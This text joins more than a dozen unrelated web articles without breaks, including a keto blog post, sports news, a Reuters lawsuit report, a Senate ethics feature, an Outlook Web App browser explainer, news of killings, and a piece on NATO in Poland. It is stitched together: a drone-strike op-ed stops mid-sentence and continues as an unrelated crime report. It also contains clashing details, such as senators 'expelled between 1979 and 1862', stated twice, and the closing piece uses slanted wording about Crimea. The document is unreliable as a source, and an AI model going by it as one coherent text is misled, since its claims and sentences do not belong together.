497 Fat: 44g Carbohydrates: 6g net Protein: 22g In other news… I miss you guys!!! I’ve been hard at work (pinky promise) churning out recipes for my first “real” cookbook and I do have to say that it’s some of my absolute best work yet and I’m really excited about it! That being said, it’s weird not to be writing on the blog and connecting with you guys here as much as I used to! I’m looking forward to finally finishing the book so that I can get back to a normal blogging schedule, but I am grateful for my guest posters who have been doing an awesome job keeping you guys in delicious recipes while I’m otherwise occupied! As far as regular life stuff goes, we are currently in Roatan for the 2nd time in just a few months! While nothing is concrete yet, we are actively looking for a place to rent so that we can relocate here for a year or more starting sometime after January 2018. Living in Belize has been fun and we’ve made lots of great friends there, but we are excited about this next chapter in Honduras! Roatan is a gorgeous island with better infrastructure than Ambergris Caye where we currently live. It has a hospital, REAL grocery stores, and we’ll have a car again instead of driving around in a golf cart everywhere – which sounds fun and adventurous… But after the first month it gets really old being exposed to blistering heat, soaking rain, vicious mosquitos, sand blowing in your eyes, mouth, ears, hair, etc. – and not having any cargo space for groceries or anything else! The struggle is real. So I’ll keep you posted on all that and I’ve also decided to start posting more photos of our travel and stuff on the IBIH Instagram page because photos of food all the time is just boring, and who cares what the experts say about having a consistent curated look blah blah. You are not the boss of me and my IG, random InstaExpert people! Here are some iPhone photos from our recent trips to Roatan – as you can see it’s a horrible place ha ha! Look for more on IG and I may even put some snorkeling videos on the IBIH Facebook page from our adventures this week! One last random thing – I’m optimizing my photos to speed up page loading times so they may have a little less sparkle or clarity since I had to lower the resolution. I hate that, but if it makes the pages load faster for you then I’m willing to do it. If you have an opinion on this either way I’d love to hear it. Have you even noticed a loss of photo quality? Are your pages loading faster or slower this past week or so? If yes, is it worth it or not. Any other feedback on how to improve the page? I’m getting raked over the coals on an expensive and very thorough SEO audit, so I’m going to be making some other changes and YOUR input as the reader is the most important to me! Had a little too much fun and need to drop some pounds? Get started today with my FREE low carb and keto menu plans and lose the weight for good! Can’t get enough delicious low carb recipes? Download all five of my e-cookbooks (over 150 delicious low carb recipes) for just $19.99 for a limited time!MINNEAPOLIS -- While we wait to find out the latest on the status of Heat guard Gerald Green, who was reportedly behaving erratically and hospitalized Wednesday back in Miami, here's a look ahead to tonight's game against the Timberwolves: * The Minneapolis Star-Tribune today wrote a story on reigning NBA Rookie of the year Andrew Wiggins, who has moved from small forward to shooting guard this season and is struggling with his shot. Wiggins is only shooting 30% and is 0-for-6 from three-point range. In Monday's loss to Portland he was only 5 of 17 while scoring 16 points. Wiggins' 13.3 shots per game still lead the team. * Veteran forwards Kevin Garnett (2.7 points, 4.7 rebounds, 1.0 assists per game) and Tayshaun Prince (2.0, 1.7, 1.3 stls) are in the starting lineup for the T'Wolves alongside Wiggins, No. 1 overall pick Karl Anthony-Towns and point guard Ricky Rubio basically for defense. Coach Sam Mitchell said Wednesday he needs his three younger starters to score more. The T'Wolves have spent a lot of time in practice this week working on their spacing to provide more room for Rubio and Wiggins to operate. * It will be interesting to see how Minnesota handles Heat center Hassan Whiteside in the paint. Last February, Whiteside put up 24 points and 20 rebounds in Miami's 102-101 loss here against the T'Wolves. Towns (7-0, 244) and Garnett (6-11, 240) will probably take turns guarding Whiteside. Whiteside enters the day ranked second in the league in dunks behind Golden State's Festus Ezeli (13). * Speaking of Towns, the first overall pick is first among rookies in shooting percentage (57.9), rebounds (10.3) and second to Jahlil Okafor in scoring (17.7) while averaging 30.3 minutes a game. Heat rookie Justise Winslow, who obviously comes off the bench as has much fewer offensive opportunities, ranks sixth in minutes among rookies (24.4) and fourth in plus/minus at plus-7.3 a game. * Backup shooting guard Kevin Martin leads the team in scoring (20.3). He was excused for personal reasons from practice the last two days. * Rubio is scoring 17.7 points with a league-leading 10.3 assists a game. * Last year's one-point win over the Heat at home was the T'Wolves first home win against Miami since 2008. * Heat point guard Goran Dragic had his best offensive game of the season in Tuesday's loss to the Hawks, making 6 of his 11 shot attempts including three of five on three-point shots. He finished with 19 points, five rebounds, two assists and three steals in 32 minutes. "I feel the shot was there. Pick and roll was kind of a tough day," Dragic said after the 98-92 loss to Atlanta. "They were inside the paint a lot and then it's hard to find open guys. Even when I find it we couldn't score. It's just spacing. We didn't have a lot of fastbreak points (12). It looks like we didn't run. It's hard. They're a really good half court defensive team and it's really hard to play them." On the flip side, Dragic also had a rough night defensively guarding Jeff Teague, who lit the Heat up on pick and rolls for 26 points and nine assists in 34 minutes. "Defensively it's really hard," Dragic said. "Teague is really quick. Especially when they were putting Hassan in pick and roll and he was far from the pick. It's hard to stay with him. If the big guy can bump you then [Teague] can go left, right, he can shatter the floor. I think we challenged a little bit when Birdman came into the game. He was up in pick and roll and he didn't have enough space to create." It will be interesting to hear what Heat coach Erik Spoelstra says about Whiteside's defense in the pick and roll. That might be one of the easier questions floated his way today considering he's going to get hit hard with Gerald Green questions.By Alison Frankel NEW YORK (Reuters) - Wounded U.S. veterans and family members of U.S. soldiers killed in Iraq sued five European banks on Monday, seeking to hold them responsible for shootings and roadside bombings because they allegedly processed Iranian money that paid for the attacks. The lawsuit filed in U.S. District Court in Brooklyn, New York, named Barclays Plc, Credit Suisse Group AG, HSBC Holdings Plc, Royal Bank of Scotland Group Plc and Standard Chartered. Barclays, Credit Suisse, RBS and Standard Chartered declined to comment. HSBC did not respond to requests for comment. The lawsuit was brought under the U.S. Anti-Terrorism Act, a 1992 law that permits victims to bring private suits against alleged financiers of militant operations. The lawsuit alleges the banks conspired with Iranian banks to mask wire transactions in order to evade U.S. sanctions. The Iranian banks then funneled more than $100 million to militant groups that operated in Iraq at Iran's direction, according to the suit. The militant groups included a Shi'ite militia in Iraq, Kataib Hezbollah, as well as Quds Force, the overseas arm of Iran's Islamic Revolutionary Guard Corps, the suit says. Since 2009, the five banks have agreed to pay about $3.2 billion to the U.S. government to resolve allegations that they handled money in violation of sanctions against nations such as Iran, Libya and Cuba. All the banks signed deferred prosecution agreements with the U.S. Justice Department in addition to settlements with U.S. banking regulators. The agreements did not allege a link between the transactions, which the U.S. government viewed as unlawful, and militant operations. Patrick Farr, a California-based plaintiff whose son Clay was killed by a roadside bomb in February 2006, said the lawsuit has given him "a sense that I was able to do something, hold someone accountable for his death." The case faces major obstacles, said Jimmy Gurule, a Notre Dame University law professor. The Anti-Terrorism Act does not specifically permit conspiracy claims, and federal courts in New York have previously refused to permit cases to proceed unless they allege a direct link between banks and militant attacks. The law also bars claims for wartime injuries. "The law was not intended to give a private right of action to soldiers in a military conflict," Gurule said. UNIQUE USE OF 1992 LAW The suit is the first case under the Anti-Terrorism Act in which former U.S. soldiers seek damages against international banks. It is also one of the first to be crafted as a conspiracy case. The lawyers who filed the suit, Gary Osen and Tab Turner, were part of a team that tried an Anti-Terrorism Act case against Arab Bank earlier this year in Brooklyn. Jurors found Arab Bank liable for financing 24 Hamas attacks in Israel and the Palestinian Territories between 2001 and 2004. That case linked Arab Bank specifically to wire transfers to alleged Hamas leaders and payments to Palestinians killed, injured and imprisoned in the anti-Israel uprising. The new lawsuit does not assert a direct connection between the European banks and the allegedly Iran-directed attacks carried out in Iraq. Instead, the complaint claims that the banks indirectly facilitated the attacks by entering into agreements with Iranian banks to mask U.S. dollar wire transactions sent through the United States. "Each defendant understood that their conduct was part of a larger scheme engineered by Iran," Osen said in an interview. At a minimum, he said, the banks were "deliberately indifferent" about the transactions they processed for Iran. Osen said that through press accounts, declassified U.S. military reports and documents posted by WikiLeaks, he built a file on attacks on U.S. forces that were traceable to Iran. One of the boldest attacks took place in January 2007, when attackers dressed as American soldiers infiltrated a compound in Kerbala, Iraq, and killed five U.S. military personnel. Charlotte Freeman, whose husband Brian was one of the soldiers killed in Kerbala, said she and her mother-in-law decided to join the case to make a statement. "I never suspected these big banks would turn a blind eye," she said. "Even if the case doesn’t get that far, at least the story is told. It needs to be exposed."Next week, Teyon will be bringing Mebius’ downloadable 3DS game Doll Fashion Atelier to the eShop in North America. It’ll be available on April 7 for $4.99. Here’s an overview of the dress-up simulation game: Follow your infinite imagination and sense of fashion to create one-of-a-kind stylish dolls! Choose a doll from 5 different themes: Pretty, Gothic, Victorian, Princess or Antique, and dress it up in stunning clothing pieces! There are over 600 items available, including clothes, shoes, accessories, hairstyles, make-ups and more! Add a frame and a background, draw a doodle and take a photo with a camera on your Nintendo 3DS. Players will also be able to show their doll collections by creating albums and saving them to your SD card or sharing them on Miiverse. Source: Teyon PR Share this: Twitter Facebook Reddit Tumblr Google More Email Print LinkedIn Pinterest PocketImagine this: A co-worker is accused of inappropriate behavior and you are asked to serve on a panel to evaluate that co-worker. Your conclusions could result in punishment ranging from a slap on the wrist to firing to legal action. Whatever the outcome, you will forever carry the burden of having played a role in your co-worker’s life, potentially ending a friendship, a career and an alliance. Your name is Brian Schatz, and you are a member of the U.S. Senate Select Committee on Ethics. Cory Lum/Civil Beat This is not hypothetical. The Hawaii Democrat’s co-workers are fellow Senate Democrats Al Franken of Minnesota and Bob Menendez of New Jersey, and maybe Republican Roy Moore of Alabama. “Nobody sitting on the Ethics Committee is going to be having a good time right now,” says Jennifer Duffy, senior editor for U.S. senators and governors for the Cook Political Report. “It is a fairly unenviable assignment, period, and when you have your colleague up it gets really awkward.” Schatz is not talking publicly about his dilemma. “Unfortunately, because of his seat on the committee, he is unable to comment,” said his spokesman Mike Inacay. Duffy said it’s particularly difficult because Franken is well liked and has “by all accounts very good relations with colleagues. Most of the Democratic women who called for this investigation have not really rushed to his defense at all.” On Tuesday, Schatz’s colleague from Hawaii, Democrat Mazie Hirono, told MSNBC that calls for Franken’s resignation are “a distraction.” She noted that Franken has admitted to bad behavior and is cooperating with an ethics investigation, “which is more than I can say for President Trump, who has admitted to being a sexual predator” and is now supporting Roy Moore — “one liar is standing up for another liar.” A Pervasive Problem Hirono stressed that, for her, the bottom line is that sexual harassment is “pervasive in our culture,” and she said she welcomed “discussion, and debate, and decisions and actions” on how to prevent such behavior from happening again. She said she and every woman she knows has experienced sexual harassment “of one sort or another.” Hirono does not serve on the Ethics Committee, but all senators could be called to act on the panel’s determinations. There is already talk that Moore, for example, might be expelled from the Senate as soon as he is sworn in next month, if he is. Moore has not yet defeated Democrat Doug Jones, of course, and so we don’t know if the Senate will have to act on decades-old allegations of sexual molestation. Before 1964 there were no congressional ethics committees or formal rules governing member conduct. Menendez, meanwhile, saw his federal bribery trial end in a mistrial earlier this month, so a preliminary inquiry by the Ethics Committee that begin in 2012 (but was deferred the following year once the Justice Department got involved) has now resumed. What seems certain is that there will be more sexual harassment claims in Congress. On Tuesday the House Ethics Committee announced that it has begun an investigation of sexual harassment allegations against Rep. John Conyers (D-Mich.). Then, on Wednesday, Rep. Joe Barton (R-Texas) admitted that a nude picture of him circulating online “is authentic,” Politico reported. He apologized to his constituents. It’s not clear yet what led to the internet posting, which is under investigation. But politicians, journalists and Hollywood have all been caught up in what is already being called the Age of Weinstein. ‘Disorderly Behavior’ Schatz is one of three Democrats and three Republicans serving on the Senate Ethics Committee. Its counterpart, the House Ethics Committee, has five members of each party. (Hawaii Democratic Reps. Tulsi Gabbard and Colleen Hanabusa are not members.) The Senate Ethics Committee investigates complaints, allegations or information “from virtually any source” suggesting that a senator or staffer may have violated rules within its jurisdiction. The U.S. Constitution states, “Each House may determine the Rules of its Proceedings, punish its Members for disorderly Behavior, and with the Concurrence of two thirds, expel a Member.” Anthony Quintano/Civil Beat According to the Senate Ethics Committee’s history page, before 1964 there were no congressional ethics committees or formal rules governing member conduct. Momentum for reform is reported to have grown after Bobby Baker, secretary to the Senate Democratic Majority, resigned from his job in October 1963, “following allegations that he had misused his official position for personal financial gain.” Daniel Holt, the assistant historian for the Senate Historical Office, passed along this information to put the Franken-Moore-Menendez business in context Nine senators were censored, denounced, condemned or suspended between 1811 and 1990. The most famous was Joe McCarthy, the Republican of Wisconsin, who was condemned in December 1954 by a vote of 67 to 22. Fifteen senators were expelled between 1979 and 1862, including several for supporting the Confederate rebellion. Fifteen senators were expelled between 1979 and 1862, most of them for supporting the Confederate rebellion. (They included John Breckinridge, Democrat of Kentucky.) A recent survey by HuffPost concluded “more and more, lawmakers accused of sexual misconduct are resigning from office.” Six of the 11 resignations from Congress since the mid-1970s “stemmed directly from sexual misconduct” and occurred since 2006. The most recent senator to resign was Bob Packwood, Republican of Oregon, who stepped down under pressure in 1995 for sexual misconduct and abuse of power. Packwood is the only senator to have quit under such a charge. (Senate Republican Larry Craig of Idaho did not run for re-election after being caught in 2007 “with his pants down in a men’s-room stall at the Minneapolis-St. Paul International Airport,” The New Yorker reported. That same year, Senate Republican David Vitter of Louisiana survived being caught up in the so-called D.C. Madam scandal, won re-election in 2010 but lost a bid for governor in 2015.) The Packwood case is particularly instructive. A recent Washington Post story described him this way: A socially progressive Republican who advocated for women’s equality. He championed issues such as abortion rights and family leave. He hired women to run his campaigns, promoted them to positions of power and supported their careers. Feminists loved him. But Packwood also kept diaries, and they were shockingly revealing. Packwood described women in objectifying terms. An intern was a “cute little blonde thing.” Another was “a very sexy woman” whose breasts stood “at attention” and had the “ability to shift her hips.” She and Packwood drank wine together and had sex on the rug of his Senate office, he wrote. And she wasn’t the only one; Packwood wrote that there were “22 staff members I’d made love to and probably 75 others I’ve had a passionate relationship with.” Packwood was the direct focus of the Senate Ethics Committee, which sent letters to at least 200 women who worked for the senator since his first election in 1969. It also issued subpoenas for the diaries, which triggered his resignation. Wikimedia Packwood’s eventual demise came just four years after Clarence Thomas was narrowly confirmed by the U.S. Senate to be a Supreme Court justice — Anita Hill’s protestations notwithstanding. Also happening during that time was Sen. Brock Adams, a Democrat of Washington, who quit his re-election campaign “after a newspaper quoted eight unidentified women who accused him of sexual misconduct over a period of years.” ‘Relative Silence’ Over Inouye And then there was the matter of Dan Inouye, the Hawaii senator who survived allegations of sexual misconduct during his re-election in 1992. A New York Times article that December contrasted the “relative silence” that followed after recordings of Inouye’s longtime hairdresser told “a story of nonconsensual intercourse 17 years ago and persistent gropings in years since.” Inouye, who called the allegations “unmitigated lies,” won re-election by a wide margin. “In large measure, political, civic and business leaders chose guarded silence, which some of them attribute to fear that the party machine, which controls nearly all state and federal positions and programs here, might derail their careers or strip their projects of government money,” the Times explained. Duffy of Cook Political Report said the Inouye allegations lacked enough evidence as compared with the Packwood case, where allegations came from staff, former staff and others. The recordings were made public by Rick Reed, Inouye’s GOP opponent. “It was a little closer to home and corroborated, versus the Inouye charge,” she said. “And when it comes from a Republic opponent, it looked awfully political.” Ed Morita/edmorita@me.com Despite the presence of a tape that purportedly supported the allegations, the Senate Ethics Committee dropped its review of alleged sexual misconduct of Inouye in April 1993 “because his accusers declined to participate in a fuller inquiry,” the Washington Post reported. Inouye, by the way, led the Ethics Committee during the 2002 investigation of Sen. Robert Torricelli. The New Jersey Democrat would resign that year over his involvement with a campaign donor. Inouye’s successor in the Senate, of course, is Brian Schatz. It’s been six years since the Ethics Committee conducted a major investigation, and its work now could take some time. One possible factor is whether allegations from decades ago, such as in Moore’s case, would be relevant. The two cases involving Franken date to before and after he became a senator. The charges against Menendez involve his time in office. There is also the delicate matter of Senate balance. The current split is 52 Republicans, 46 Democrats and two independents that side with the minority party. Already, passage of the GOP’s tax “reform” package in the Senate will come down to what three Republicans do. Finally, there is talk that more allegations of sexual misconduct are coming, consuming the Congress in 2018 — a crucial election year.Here's a tip for business users who are considering upgrading to Windows 8.1: your webmail experience with Exchange Server will downgrade using the new Internet Explorer 11 browser. Happily, a solution is available. Webmail is not always a substitute for Microsoft Outlook, for those using a Microsoft Windows Server / Exchange environment, but it is very helpful at times, when you are on a metered connection, or using your personal computer, or for a variety of reasons. Exchange's webmail - or OWA for Outlook Web App - can provide a reasonably close Outlook environment within the Internet Explorer web browser. A functional, though less identical experience, is also available within other browsers such as Mozilla Firefox, Google Chrome or Apple Safari. This experience is dubbed "OWA light". What may have not been expected by those upgrading to Windows 8.1 for the first time - that is, those who did not venture to use the beta - is that under Internet Explorer 11 your Outlook Web App experience now renders as a second-grade citizen. Yes, it will be the OWA light experience. This is not the first time this has happened; early adopters to Windows Vista experienced the same problem when trying to use Microsoft Exchange 2003 web mail, the fix requiring a patch on the Exchange server on that occasion. The reason this is happening again is because Internet Explorer 11 no longer sends the "MSIE" (Microsoft Internet Explorer) token in the user-agent string which is part of the header information sent to a web server when a browser requests data. Exchange Server 2007, 2010 and 2013 evidently use this token to determine if the user is operating Internet Explorer; because the token cannot be found they assume not and thus present only the light experience. There are some solutions; however, first, why did this happen? The answer is interesting and even shows some dysfunction between Microsoft's engineering teams. According to a Microsoft blog the reason is that many web sites try to implement compatibility workarounds for Internet Explorer by "sniffing" the user-agent string for the MSIE value. If they find it, they operate different code. Internet Explorer 11 now sends a user-agent string which reads "Mozilla/5.0 (Windows NT 6.3; Trident 7.0; rv:11.0) like Gecko". This string is carefully and deliberately designed to make web sites interpret the IE11 browser as either WebKit or Gecko based, and not as "MSIE". Microsoft's argument here is that Internet Explorer is no longer the evil old IE6 of the past which dismissed standards and required careful workarounds; it is instead a modern HTML-compliant powerful browser which churns through ACID tests with high results. Additionally, Microsoft's view is that many websites searching for the MSIE token are making compatibility problems for themselves and their users, and that fundamentally sniffing for a specific browser type is the wrong approach. Microsoft argues web sites should check for feature compatibilities, not for specific classes of browsers. The consequence is the MSIE token is no longer presented - at least not by default; if a web page is rendered in compatibility mode within Internet Explorer 11 then the MSIE token will be sent - so this is one solution to the OWA webmail problem for Windows 8.1 users. The irony here however is that Microsoft itself is apparently using browser detection to determine who is viewing webmail despite its own cautions that this is the wrong approach. Nevertheless, this is why the incompatibility exists. Administrators of Exchange 2013 servers can install a patch which resolves this problem; those using Exchange 2007 or 2010 servers will need to either use compatibility view or, somewhat unexpectedly, InPrivate browsing - which suggests the allegedly more secure browsing mode actually is more vocal about your web browser than the normal mode. If you go the compatibility view route, use F10, View, Compatibility View to add your Exchange Server's webmail URL to the list of sites which automatically require this mode; you will then have the premium OWA experience again.NBC’s live presentation of The Wiz on Thursday night saw the hashtags #TheWiz and #TheWizLive trending on social media. Twitter users posted tweets and memes responding to various scenes and moments throughout the musical. The Wiz: Live featured an all-Black cast, including stars Queen Latifah, Mary J. Blige, Ne-Yo, Common, original Broadway Dorothy Stephanie Mills and newcomer Shanice Williams. It was directed by Tony Award winning director, Kenny Leon. Take a look at some of the night’s best Twitter moments. They got ne yo talkin like he ain’t got his freedom papers yet #TheWiz — Krystal (@thekrissychula) December 4, 2015 Dorothy is starting to get real cocky about killing that witch. It was an accident Boo. You ain’t no real killah! #TheWizLive — Gabourey Sidibe (@GabbySidibe) December 4, 2015 White people so mad they getting ready to remake ‘Set It Off’ with Jennifer Lawrence, Anne Hathaway, Emma Watson, & Ruby Rose. — who are me to judge? (@seabethree) December 4, 2015 I know you don’t think a white girl made that shit up RT @AZtoNOLA Madonna would be proud. #Vogue #TheWiz pic.twitter.com/u78w46JDMQ — Petty Labelle (@KillKilolo) December 4, 2015 Dorothy spent the whole show acting like she aimed the damn house at the witch. Now she like ME??!?!?!! What I do?? lmaoo #TheWiz — Daniel José Older (@djolder) December 4, 2015 Everyone’s reaction when Uzo descended from the heavens and told us to believe in ourselves. #TheWizLive pic.twitter.com/4pML7RtHtV — JB Poulard (@JP_ComplianceJD) December 4, 2015On Saturday morning, as 58-year-old Professor Rezaul Karim Siddique headed to work at Rajshahi University in Bangladesh, assailants stopped him before he reached the bus station and hacked him to death with machetes: “His neck was hacked at least three times and was 70-80 percent slit. By examining the nature of the attack, we suspect that it was carried out by extremist groups,” Rajshahi metropolitan police commissioner Mohammad Shamsuddin said. Shamsuddin said police had not yet named any suspects but added that the pattern of the attack fitted with previous killings by Islamist militants. That last part is key. It was just a few weeks ago that atheist Nazimuddin Samad became the latest critic of religion to be murdered in a similar fashion. However, no Islamic group has claimed responsibility for the attack on Siddique so far, and it’s not clear that he advocated for atheism in any meaningful way. In fact, one of Siddique’s colleagues even told reporters “he never wrote or spoke against religion in public.” There may be another motive, though: Nahidul Islam, a deputy commissioner of police, said Siddique was involved in cultural programmes, including music, and set up a school at Bagmara, a former bastion of an outlawed Islamist group, Jamayetul Mujahideen Bangladesh (JMB). “The attack is similar to the ones carried out on (atheist) bloggers in the recent past,” Islam said. We’ll keep an eye on this story as it develops. (Image via Facebook)President Donald Trump's comments on Friday in Alabama that NFL teams should cut any player who protests during the national anthem left a bad taste in the mouths of many players, and it turns out multiple ownership groups took issue with his speech as well. "Wouldn't you love to see one of these NFL owners, when somebody disrespects our flag, to say, 'Get that son of a b---- off the field right now," Trump said to a cheering crowd in Huntsville. "Out. He's fired. He's fired." Commissioner Roger Goodell called out the president for his remarks, and players from Richard Sherman to LeSean McCoy and more shared their responses on Twitter. But they weren't alone in criticizing the president for his comments. Giants owners John Mara and Steve Tisch released a statement Saturday: "Comments like we heard last night from the president are inappropriate, offensive and divisive. We are proud of our players, the vast majority of whom use their NFL platform to make a positive difference in our society." Dolphins owner Stephen Ross: "Our country needs unifying leadership right now, not more divisiveness. We need to seek to understand each other and have civil discourse instead of condemnation and sound bites. I know our players who kneeled for the anthem, and these are smart, young men of character who want to make our world a better place for everyone. They wanted to start a conversation and are making a difference in our community, including working with law enforcement to bring people together. We can all benefit from learning, listening and respecting each other. Sports are a common denominator in our world. We all have the responsibility to use this platform to promote understanding, respect and equality." 49ers CEO Jed York: "The callous and offensive comments made by the President are contradictory to what this great country stands for. Our players have exercised their rights as United States citizens in order to spark conversation and action to address social injustice. We will continue to support them in their peaceful pursuit of positive change in our country and around the world. The San Francisco 49ers will continue to work toward bringing communities, and those who serve them, closer together." Packers CEO Mark Murphy: "It's unfortunate that the President decided to use his immense platform to make divisive and offensive statements about our players and the NFL. We strongly believe that players are leaders in our communities and positive influences. They have achieved their positions through tremendous work and dedication and should be celebrated for their success and positive impact. We believe it is important to support any of our players who choose to peacefully express themselves with the hope of change for good. As Americans, we are fortunate to be able to speak openly and freely." Falcons owner Arthur Blank didn't address the president directly in his statement but did talk about the need to "make a positive impact": "We are at our very best when we are working together, building unity and including everyone's voice in a constructive dialogue. Creating division or demonizing viewpoints that are different than our own accomplishes nothing positive and undermines our collective ability to achieve the ideals of our democracy. The NFL has historically been a strong catalyst for positive change, and I'm proud of the way our players, coaches and staff use that platform to give back to our community and strive to be good citizens making a positive impact on this and future generations." Titans controlling owner Amy Adams Strunk also released a statement supporting NFL players: "I am proud to stand with our players and support them in their work on and off the football field. I completely agree with Commissioner Goodell that we are better off as a nation when we are unified and pulling together. I have seen that kind of attitude first-hand in Tennessee and across our country in the many benevolent and public-spirited efforts of our NFL players, often without any public recognition. Our players make public contributions day-in and day-out and when I hear anyone making disparaging remarks about them, I know it has to be the result of not knowing what they bring to our communities or what they have accomplished." According to reports, Panthers owner Jerry Richardson has declined to make a statement in response to Trump's comments about the NFL and its players. The NFL isn't the only sports league that's mired in conflict with the president. After Trump said he was rescinding the offer to the NBA champion Warriors to visit the White House due to comments by Stephen Curry, the president faced an uproar from current NBA players -- including four-time MVP LeBron James, who called Trump a "bum" for his tweet -- and former stars, including Kobe Bryant, who called out Trump for inspiring "dissension and hatred." The Warriors also released a response to Trump rescinding their invite: While we intended to meet as a team at the first opportunity we had this morning to collaboratively discuss a potential visit to the White House, we accept that President Trump has made it clear that we are not invited. We believe there is nothing more American than our citizens having the right to express themselves freely on matters important to them. We're disappointed that we did not have an opportunity during this process to share our views or have open dialogue on issues impacting our communities that we felt would be important to raise. In lieu of a visit to the White House, we have decided that we'll constructively use our trip to the nation's capital in February to celebrate equality, diversity, and inclusion -- the values that we embrace as an organization. In the world of baseball, Yankees pitcher CC Sabathia said he would "never" visit Trump in the White House, per the New York Daily News: "I just don't believe in anything that is Trump. So there wouldn't be any reason for me to go at all." Quarterback Colin Kaepernick, who rose to prominence outside of the NFL world for kneeling during the national anthem last season, remains without an NFL job.Philip Alston, the United Nations' special representative on extrajudicial killings, has presented a report to that body's Human Rights Council calling on the United States to exercise greater restraint in its use of unmanned Predator drones to kill suspected terrorists in countries such as Yemen and Pakistan, which are outside the official war zones in Afghanistan and Iraq. His report also suggests that the U.S. military, rather than the CIA, should be in charge of running the drone attacks because it is more accountable under international law than the secretive civilian spy agency. Mr. Alston's report doesn't suggest that the American drone program, which President Barack Obama greatly expanded after taking office last year, isn't effective. In fact, it was credited recently with killing al-Qaeda's No. 3 commander. His criticism centers, rather, on the fact that the military has clear obligations under international law to ensure that civilian casualties are kept to a minimum and to investigate incidents in which innocent civilians are killed — none of which apply to the CIA. Leaving aside the fact that the U.S. military is also very good at keeping secrets — and that the CIA is just as accountable to the president as are the uniformed services — what the U.N. report fails to mention are any alternatives to the drone war currently being waged in Pakistan and Yemen, whose leaders refuse to allow
of the number and severity of the wounds, Snyder said it was unlikely the medical examiner would be able to determine which was the fatal blow. "I've been in law enforcement close to 42 years, and I've seen a lot of crime scenes," Snyder said. "There, last night, I don't know if I've ever seen anything with this much violence." The son of a dentist, Harrouff is muscular -- he wrestled and played football at Suncoast Community High School in nearby Riviera Beach, where rosters listed him at 6-feet-tall and 200 pounds. He's a sophomore at FSU, majoring in exercise science. Dr. Wade Harrouff declined to comment about his son's arrest. The teen is being treated at a hospital where Snyder said he is in critical condition. Snyder said he was incoherent and making "animal like" sounds when he was admitted. Now, it's not clear whether he will survive - doctors believe whatever he ingested may be affecting his intestines, Snyder said. The suspect did not suffer stab wounds, Snyder said. State records show Stevens recently owned a lawn-fertilizing franchise. The couple was known to hang out in the garage with the door open, reports CBS Miami. Snyder said the victims have been described to him as "delightful people" who were close to their neighbors in a particularly tight-knit community. "They seemed like a lovely couple out sitting and enjoying the evening," Snyder said.CARSON, Calif. (Monday, Jan. 11, 2016) – The LA Galaxy have re-signed free-agent forward Alan Gordon, the club announced today. Gordon returns to the Galaxy after notching 10 MLS goals during the previous two seasons and helping the club capture the 2014 MLS Cup. Per MLS and club policy, terms of the deal were not disclosed. Last season, Gordon, 34, made 29 appearances and seven starts during the 2015 MLS season, while scoring 10 goals. He notched three game-winning MLS goals, only behind team MVP Robbie Keane, who recorded five. Gordon also played a crucial part in the 2015-16 CONCACAF Champions League, scoring four goals in group play as LA advanced to the quarterfinals. In all, the veteran forward has made 223 MLS appearances, scoring 49 goals and adding 27 assists during his career. His 26 goals all-time for the Galaxy rank as the ninth-most in club history. In 2015, Gordon also spent time with the U.S. Men’s National Team, earning a call up to the 2015 CONCACAF Gold Cup roster where he appeared against Jamaica in the semifinal match of the tournament. He was also named to the roster for two 2018 FIFA World Cup Qualifying matches, against St. Vincent & The Grenadines and Trinidad & Tobago. The 12-year veteran began his career in Major League Soccer as a member of the Galaxy (2004-2010). During that time, Gordon scored 16 goals and added 12 assists in over 80 appearances during his first six years with the club. He was a part of the squads that captured an MLS Cup (2005), Lamar Hunt U.S. Open Cup (2005) and two Western Conference championships (2005, 2009). Born in Long Beach, California, Gordon played for the San Jose Earthquakes from 2011-2014 before being re-acquired by the Galaxy on Aug. 11, 2014, from the Earthquakes in exchange for allocation money. During his time in San Jose, he scored 23 times in MLS, including a career-high 13 goals and seven assists in 2012 that helped lead the Earthquakes to winning the Supporters’ Shield. The MLS veteran has also spent time with former MLS side Chivas USA (2010) and Toronto FC (2011). The Galaxy will kick off the 2016 MLS Regular Season at StubHub Center on Sunday, March 6, against D.C. United (7 p.m. PT, UniMás). LA Galaxy Season Ticket Memberships for the 2016 MLS season are available for purchase now. Season Ticket Members and Galaxy fans can go to www.lagalaxy.com/tickets/seasontickets or call 877-3GALAXY (342-5299) to secure their 2016 LA Galaxy Season Ticket package. A full schedule for the 2016 MLS season can be found at www.lagalaxy.com/schedule. Becoming a 2016 LA Galaxy Season Ticket Member gives fans the opportunity to receive a number of benefits, including discounted pricing, LA Galaxy Team Store discounts, access to the 2016 Season Ticket Member Event, season tickets to LA Galaxy II, early game day stadium access and access to LA Galaxy Champions League matches, among other exclusive benefits. For more information, visit www.lagalaxy.com/seasontickets or call an LA Galaxy representative at 877-3GALAXY (342-5299).Image zoom Twitter @AprilTheGiraffe April the giraffe might be pregnant six months after over 1.2 million people watched her give birth to son Tajiri on Apr. 15 at Animal Adventure Park in Harpursville, New York. Animal Adventure Park owner Jordan Patch fueled speculation of another pregnancy during his appearance on Good Morning America Thursday. “I cannot confirm nor deny the possibility of another pregnancy,” Patch said of 15-year-old April. “Are we ready for another giraffe cam, world? You tell me.” Image zoom April is already a parent to four other calves including Tajiri, who is “already approaching about 10-feet in height,” according to Patch. For 65 days, the world was glued to the zoo’s ongoing live stream of April during her previous pregnancy, which spanned over 16-months. Is April the Giraffe pregnant again!? "I cannot confirm nor deny the possibility of another pregnancy!" @AnmlAdvntrPark owner says. 🤔 pic.twitter.com/XCYSdyqYHE — Good Morning America (@GMA) November 9, 2017 “She’s obviously very in tune to [Tajiri] and protective of him, but she’s also allowing him to take on that independent trait that he has, which definitely comes from his father,” Patch said of April’s parenting. Fans and followers can still watch April and the giraffes at Animal Adventure Park on the zoo’s livestream on YouTube.Poland's conservative president Andrzej Duda called for stationing NATO military bases in eastern Europe during his visit to Estonia on Sunday. At a press-conference during Duda's visit to Tallin, Poland's head of state said he expects the allied forces to be present at NATO's actual border, which would be fair and rightful from a historical point of view. "The allied forces should be present at NATO's actual frontiers. That's my offer, and our partners should consider it. It would not only be rightful from the historical point of view but also fair", Duda stressed. Duda's visit to Estonia marks the beginning of his campaign aimed at pressuring NATO to place permanent bases on the eastern flank of the alliance. Estonian leader Hendrik Ilves officially supported Duda in his hopes to see the reinforcement of NATO's presence in eastern Europe. © REN TV. Przemyslaw Wierzchowski Does Poland Really Believe That Russia Wants War? "I said it and I'll say it again. If our security is guaranteed, it may deter someone from the potential aggression", Ilves said at a conference, implying the alleged "Russian threat". Duda also plans to visit London, New-York and Berlin, despite Germany's fear of heightening the tension between Europe and Russia. NATO has been building up in Eastern Europe since Crimea's March 2014 reunification with Russia, in response to what it calls the "aggressive" 